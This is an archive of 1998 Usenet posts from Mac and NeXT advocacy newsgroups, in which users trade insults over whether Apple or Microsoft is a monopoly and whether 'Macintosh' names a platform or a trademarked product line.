References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>
In article <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <joe.ragosta-1909980716260001@elk86.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> > How many times does this need to be explained to you?
> >
> > Go to the U.S. Trademark office and look up "Macintosh". It's the name of
> > a specific line of computers manufactured by Apple computer.
>
>
> You know what's scary Joe? The fact that these people argue that they
> made a rational choice is choosing the PC. They've clearly demonstrated
> that rational thought is beyond their comprehension.
I know. There are days I just can't believe what apparently passes for
logic from some of the Wintrolls.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 19 Sep 1998 19:50:23 GMT
Organization: Michigan State University
Message-ID: <6u11tv$gb4$6@msunews.cl.msu.edu>
References: <6ttq8h$7b4$1@news.xmission.com> <6ttqom$had@shelob.afs.com>
<6tuamp$7b4$2@news.xmission.com> <36033FCF.4F374471@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: henry@trilithon.com
In <36033FCF.4F374471@trilithon.com> Henry McGilton wrote:
> Don Yacktman wrote:
>
> * Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> * * Don, if you ever get tired of programming, I see a
> * * great future in being a Kremlinologist...
> I'd never have thought of comparing Apple HQ with the Kremlin,
> but now you come to mention it . . .
I don't think the comparison stands up. Though if UFO reports
start coming out of Apple (Hey it's the iMac II) then we'll
have direct confirmation. ;)
> * Oh yeah--one more supporting datum for my "speculation".
> * Both you and mmalc are posting to the group again, and it
> * has been a while since we've seen you two post as much prose
> * as the past few days. Why, it is as if you just finished a
> * big project and suddenly have a little time on your
> * hands (like a "breather" between releases).
> Actually I thought it was more innocuous than that --- there's
> been the vaguest --- but very vaguest --- hint of some
> content in the group in the past week. Although, maybe that's
> only because you, Malc, and Greg have been posting again.
I think everyone has been quite busy. I'll say a prayer that
everyone's hard work will get appropriately rewarded - though
I must say I'm not optimistic about Apple at this point. Maybe
I'll get more so when CR1 releases and I see some sensible pricing,
and publicity.
BTW: Nice to see your still reading c.s.n. Henry - and how are
things going in your neck of the woods? I don't think I've seen
a post from you in a long time. (Hope things are going well for
Trilithon)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Fri, 18 Sep 1998 10:35:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6tu5m3$lik$1@ash.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net>
Joe Ragosta wrote in message ...
>In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Donald Brown wrote in message ...
>> >In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
>> ><s124@[REMOVE]earthlink.net> wrote:
>> >
>> >>Jerry M. wrote in message ...
>> >>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>> >>><dan@knowspaam.com> wrote:
>> >>>
>> >>>> A quick remider to you all...
>> >>>> It is _not_ illegal to have a monopoly.
>> >>>
>> >>>No, but it should be.
>> >>>
>> >>>In fact, just Microsoft should be illegal.
>> >>
>> >>My my my, you are a macsheep! Baaaa.... take away microsoft's
>> constitutional
>> >>rights.... Baaaaaaaaaaaa.....
>> >>
>> >>You should read the constitution someday.
>> >>
>> >And you should read the anti-trust laws.
>>
>>
>> But the "anti trust" laws are unconstitutional!!!!!!! The constitution
has
>> superiority over ANY laws. Like I said, read the constitution someday.
>
>Really? I guess I missed the part of the Constitution giving companies the
>right to run roughshod over their competition and monopolize the economy
>of the country.
So? If people didn't like the products, they wouldn't buy them!!!
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 19 Sep 1998 20:04:17 GMT
Organization: MiscKit Development
Message-ID: <6u12o1$lng$1@news.xmission.com>
References: <6ttq8h$7b4$1@news.xmission.com> <6ttqom$had@shelob.afs.com> <6tuamp$7b4$2@news.xmission.com> <6u10st$416$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 19 Sep 1998 20:04:17 GMT
malcolm@plsys.co.uk wrote:
> (apart from rehearsals for the next play -- I've been cast as
> Charles in Blithe Spirit),
Oh, way cool! That's a really fun play. I'd love to see it
again some day... :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
Date: Fri, 18 Sep 1998 13:46:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1809981346040001@wil90.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <smileyy-1209981553550001@192.168.0.2> <3603f95a.13853159@news.alt.net>
In article <3603f95a.13853159@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> smileyy@ix.netcom.com (Andrew McCormick) wrote:
>
> >He let their licenses expire without renewing them.
>
> I agree he is a gutless coward, Andrew.
You mean like someone who doesn't have the integrity to even use his own name?
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 13:03:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u12ns$3qh$1@ash.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6tupg9$6fb$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article
<macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net>,
>> >macghod@concentric.net (Steve Sullivan) wrote:
>
>
>> >OK. The more appropriate analogy is that Compaq has a monopoly of the
>> >Presario market and IBM has a monopoly on the ThinkPad market. It's the
>> >same thing. And it's a meaningless statement.
>>
>> Wrong. There is a PC market, and there is a Mac market. The Mac is a
>> platform, the PC is a platform. The Presario isn't a platform. The
ThinkPad
>> isn't a platform. The very same software that runs on the ThinkPad, runs
on
>> the Presario, and vise-versa. There is no PC monopoly. You buy a computer
to
>> run software. If that software can run on another system, then there's no
>> monopoly. If I need to run Electric Image, I must buy an Apple Macintosh.
If
>> I need to run 3D Studio Max, I can buy an IBM, a Compaq, a Dell, a
Gateway,
>> or any other machine from many manufacturers.
>
>
>God you people are stupid!
>
>Are you saying that Sun has a monopoly? What about SGI? What about HP?
>All these companies make their own computers without allowing clones (Sun
>at one time did but I believe has stopped that practice). Are you going
>to tell me, with a straight face, that all these companies have a monopoly
>because they are the only producers of their respective computers? That
>should be good for a laugh.
>
>Joe's right...just because Apple is the only manufacturer of the Macintosh
>doesn't make them a monopoly.
Apple has a monopoly on the Apple market, I.E: Computers running MacOS. They
do NOT have a monopoly on the entire computer market.
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 12:59:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u12g9$3f3$1@ash.prod.itd.earthlink.net>
References: <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net>
vapor wrote in message <360ce2bf.11533800@news.alt.net>...
>"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>
>>Jerry M. wrote in message ...
>>>In article <6tu5m3$lik$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>><s124@[REMOVE]earthlink.net> wrote:
>>>
>>>> Joe Ragosta wrote in message ...
>>>> >In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>>> ><s124@[REMOVE]earthlink.net> wrote:
>>>> >
>>>> >> Donald Brown wrote in message ...
>>>> >> >In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd
>>Arneson"
>>>> >> ><s124@[REMOVE]earthlink.net> wrote:
>>>> >> >
>>>> >> >>Jerry M. wrote in message ...
>>>> >> >>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>>>> >> >>><dan@knowspaam.com> wrote:
>>>> >> >>>
>>>> >> >>>> A quick remider to you all...
>>>> >> >>>> It is _not_ illegal to have a monopoly.
>>>> >> >>>
>>>> >> >>>No, but it should be.
>>>> >> >>>
>>>> >> >>>In fact, just Microsoft should be illegal.
>>>> >> >>
>>>> >> >>My my my, you are a macsheep! Baaaa.... take away microsoft's
>>>> >> constitutional
>>>> >> >>rights.... Baaaaaaaaaaaa.....
>>>> >> >>
>>>> >> >>You should read the constitution someday.
>>>> >> >>
>>>> >> >And you should read the anti-trust laws.
>>>> >>
>>>> >>
>>>> >> But the "anti trust" laws are unconstitutional!!!!!!! The
constitution
>>>> has
>>>> >> superiority over ANY laws. Like I said, read the constitution
someday.
>>>> >
>>>> >Really? I guess I missed the part of the Constitution giving companies
>>the
>>>> >right to run roughshod over their competition and monopolize the
economy
>>>> >of the country.
>>>>
>>>> So? If people didn't like the products, they wouldn't buy them!!!
>>>
>>>And what people will HAVE TO BUY when there will be no other
alternatives?
>>>
>>>The freedom to choose what you want will be skipped. See the point?
>>
>>
>>There is plunty of compition to Microsoft. Unix, Linux, OS2, MacOS, BeOS,
>>heck, even DR-DOS if you wanted to.
>>
>
>Yep, and Dr-Dos is free, It has multitasking, and the same company
>even makes a dos based web browser that runs in 4 megs of ram. I
>swear! All these MacSheep(TM) can do is whine.
I installed DR-DOS on my old 386 and I can go online with it!!! It's great.
( http://www.caldera.com )
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 13:00:30 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u12j0$3jf$1@ash.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net> <Josh.McKee-1909981217550001@166-93-57-192.rmi.net>
Joshua T. McKee wrote in message ...
>In article <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>,
>macghod@concentric.net (Steve Sullivan) wrote:
>
>> In article <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>,
>> don.brown@cesoft.com (Donald Brown) wrote:
>>
>> > >>In fact, just Microsoft should be illegal.
>> > >
>> > >My my my, you are a macsheep! Baaaa.... take away microsoft's
>constitutional
>> > >rights.... Baaaaaaaaaaaa.....
>> > >
>> > >You should read the constitution someday.
>> > >
>> > And you should read the anti-trust laws.
>>
>> Really?
>> I didnt realize their was anything in the constitution making microsoft
>illegal
>
>
>Where did he say anything about the constitution? He specifically stated
>"anti-trust" laws.
Josh: Baaaaa.... Baaaaa... I caaaaaaant reeeeeead... Baaaaaa baaaaaaaa.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 18 Sep 1998 16:04:58 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6tupg9$6fb$1@plo.sierra.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net>
NNTP-Posting-Date: 18 Sep 1998 23:14:17 GMT
Joe Ragosta wrote in message ...
>In article <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net>,
>macghod@concentric.net (Steve Sullivan) wrote:
>> Apple has a monopoly of the mac market, not apple has a monopoly of the
>> apple market.
>
>OK. The more appropriate analogy is that Compaq has a monopoly of the
>Presario market and IBM has a monopoly on the ThinkPad market. It's the
>same thing. And it's a meaningless statement.
Wrong. There is a PC market, and there is a Mac market. The Mac is a
platform, the PC is a platform. The Presario isn't a platform. The ThinkPad
isn't a platform. The very same software that runs on the ThinkPad, runs on
the Presario, and vise-versa. There is no PC monopoly. You buy a computer to
run software. If that software can run on another system, then there's no
monopoly. If I need to run Electric Image, I must buy an Apple Macintosh. If
I need to run 3D Studio Max, I can buy an IBM, a Compaq, a Dell, a Gateway,
or any other machine from many manufacturers.
From: antwun@yahoo.com (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 20 Sep 1998 00:45:52 GMT
Organization: ...
Message-ID: <36074e77.39113826@news.alt.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>
>vapor wrote in message <360ce2bf.11533800@news.alt.net>...
>>"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>>
>>>Jerry M. wrote in message ...
>>>>In article <6tu5m3$lik$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>>><s124@[REMOVE]earthlink.net> wrote:
>>>>
>>>>> Joe Ragosta wrote in message ...
>>>>> >In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>>>> ><s124@[REMOVE]earthlink.net> wrote:
>>>>> >
>>>>> >> Donald Brown wrote in message ...
>>>>> >> >In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd
>>>Arneson"
>>>>> >> ><s124@[REMOVE]earthlink.net> wrote:
>>>>> >> >
>>>>> >> >>Jerry M. wrote in message ...
>>>>> >> >>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>>>>> >> >>><dan@knowspaam.com> wrote:
>>>>> >> >>>
>>>>> >> >>>> A quick remider to you all...
>>>>> >> >>>> It is _not_ illegal to have a monopoly.
>>>>> >> >>>
>>>>> >> >>>No, but it should be.
>>>>> >> >>>
>>>>> >> >>>In fact, just Microsoft should be illegal.
>>>>> >> >>
>>>>> >> >>My my my, you are a macsheep! Baaaa.... take away microsoft's
>>>>> >> constitutional
>>>>> >> >>rights.... Baaaaaaaaaaaa.....
>>>>> >> >>
>>>>> >> >>You should read the constitution someday.
>>>>> >> >>
>>>>> >> >And you should read the anti-trust laws.
>>>>> >>
>>>>> >>
>>>>> >> But the "anti trust" laws are unconstitutional!!!!!!! The
>constitution
>>>>> has
>>>>> >> superiority over ANY laws. Like I said, read the constitution
>someday.
>>>>> >
>>>>> >Really? I guess I missed the part of the Constitution giving companies
>>>the
>>>>> >right to run roughshod over their competition and monopolize the
>economy
>>>>> >of the country.
>>>>>
>>>>> So? If people didn't like the products, they wouldn't buy them!!!
>>>>
>>>>And what people will HAVE TO BUY when there will be no other
>alternatives?
>>>>
>>>>The freedom to choose what you want will be skipped. See the point?
>>>
>>>
>>>There is plunty of compition to Microsoft. Unix, Linux, OS2, MacOS, BeOS,
>>>heck, even DR-DOS if you wanted to.
>>>
>>
>>Yep, and Dr-Dos is free, It has multitasking, and the same company
>>even makes a dos based web browser that runs in 4 megs of ram. I
>>swear! All these MacSheep(TM) can do is whine.
>
>
>I installed DR-DOS on my old 386 and I can go online with it!!! It's great.
>( http://www.caldera.com )
It's great for people who don't have a lot of money. You can pick up
old 386s and 486s for next to nothing, then all you have to do is buy
a decent modem and you're set. Caldera also makes a nice distro of
linux you can D/L for free. Just because people can't afford a $1000
dollar computer doesn't mean they can get online.
--
vapor
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <joe.ragosta-1809981956310001@elk38.dol.net> <EvGM1.188$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980715350001@elk86.dol.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <%8QM1.3569$qi5.1154454@news14.ispnews.com>
NNTP-Posting-Date: Sat, 19 Sep 1998 11:33:15 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 19 Sep 1998 08:29:37 -0700
Joe Ragosta wrote in message ...
>> Is it? Again... the Macintosh is a platform... The Presario is a "model"
>
>WRONG, WRONG, WRONG.
>
>"Macintosh" is a model.
If you want to split hairs. Everyone knows that a Macintosh is a MacOS
system. Name one single computer that isn't a Macintosh, currently in
production, that runs MacOS. Name one single computer that isn't a
Macintosh, currently in production, that comes with MacOS.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 12:17:22 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909981217230001@166-93-57-192.rmi.net>
References: <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <don.brown-1709982154480001@dsm-ia2-05.ix.netcom.com> <6tsqqg$ihh@netaxs.com> <360247b5.535041@news.alt.net>
NNTP-Posting-Date: 19 Sep 1998 18:14:51 GMT
In article <360247b5.535041@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> "Steven M. Scharf" <scharf@grin.net> wrote:
>
> >http://www.jacksonville.com/tu-online/stories/041998/opi_Sunedit1.html
> >
>
> Excellent article! Thanks for the link. It's nice to read the truth
> for a change, a rarity in today's media.
I saw nothing in that article which differentiated it from all the other
"The government is picking on Microsoft" articles. Especially when the
article ends with:
"In our view, the Microsoft case is more about political power and having
a campaign issue for liberal candidates this year than consumer
protection."
The words "In our view" make this article the opinion of the author(s),
not fact.
Conclusion: This article has no more/less credibility than all the others
we've seen on this issue.
Josh
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 17:12:54 -0600
Organization: Prairie Group
Message-ID: <don.brown-1909981712540001@dsm-ia1-09.ix.netcom.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net>
In article <6u0jdq$epf$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
>Jerry M. wrote in message ...
>>> So? If people didn't like the products, they wouldn't buy them!!!
>>
>>And what people will HAVE TO BUY when there will be no other alternatives?
>>
>>The freedom to choose what you want will be skipped. See the point?
>
>
>There is plunty of compition to Microsoft. Unix, Linux, OS2, MacOS, BeOS,
>heck, even DR-DOS if you wanted to.
So, without the Mac, you can chose between CLIs, an OS with less mindshare
than the Mac, and Microsoft.
Donald
Date: Sat, 19 Sep 1998 18:17:47 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1909981817470001@elk70.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <joe.ragosta-1809981956310001@elk38.dol.net> <EvGM1.188$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980715350001@elk86.dol.net> <6u0jij$f03$1@oak.prod.itd.earthlink.net>
In article <6u0jij$f03$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joe Ragosta wrote in message ...
> >
> >WRONG, WRONG, WRONG.
> >
> >"Macintosh" is a model.
>
>
>
> No, the iMac is a model. Yes, "macintosh" was a model in the 80's, but now
> macintosh means mac type computers.
Then why didn't Power Computing or Umax or MacTell call their computer
"Macintosh" computers? Because it would have been a trademark violation.
You're wrong.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Date: Sat, 19 Sep 1998 18:18:45 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1909981818460001@elk70.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net>
In article <6u0jgo$esu$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joe Ragosta wrote in message ...
> >In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
> ><dan@knowspaam.com> wrote:
> >
> >> Joe Ragosta wrote in message ...
> >>
> >> >> Apple has a monopoly of the mac market, not apple has a monopoly of
> the
> >> >> apple market.
> >> >
> >> >OK. The more appropriate analogy is that Compaq has a monopoly of the
> >> >Presario market and IBM has a monopoly on the ThinkPad market. It's the
> >> >same thing. And it's a meaningless statement.
> >> >
> >> >Macintosh is a registered tradename for some computers manufactured by
> >> >Apple Computer.
> >>
> >> No... The Presario is not a platform, and neither is the ThinkPad. The
> >> Macintosh is a platform.
> >
> >How many times does this need to be explained to you?
> >
> >Go to the U.S. Trademark office and look up "Macintosh". It's the name of
> >a specific line of computers manufactured by Apple computer.
>
>
> You sure are stupid! Macintosh means the Macintosh Platform, Apple, UMAX,
> and Motorola to name a few, running Apple MacOS or equivalent.
_I_ am stupid? Then you should have no problem finding a Umax or
PowerComputing ad calling their computers "Macintosh" computers.
You can't. Because they didn't. Because Apple would have sued their butts
for trademark violation.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Message-ID: <36047D27.7777094B@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
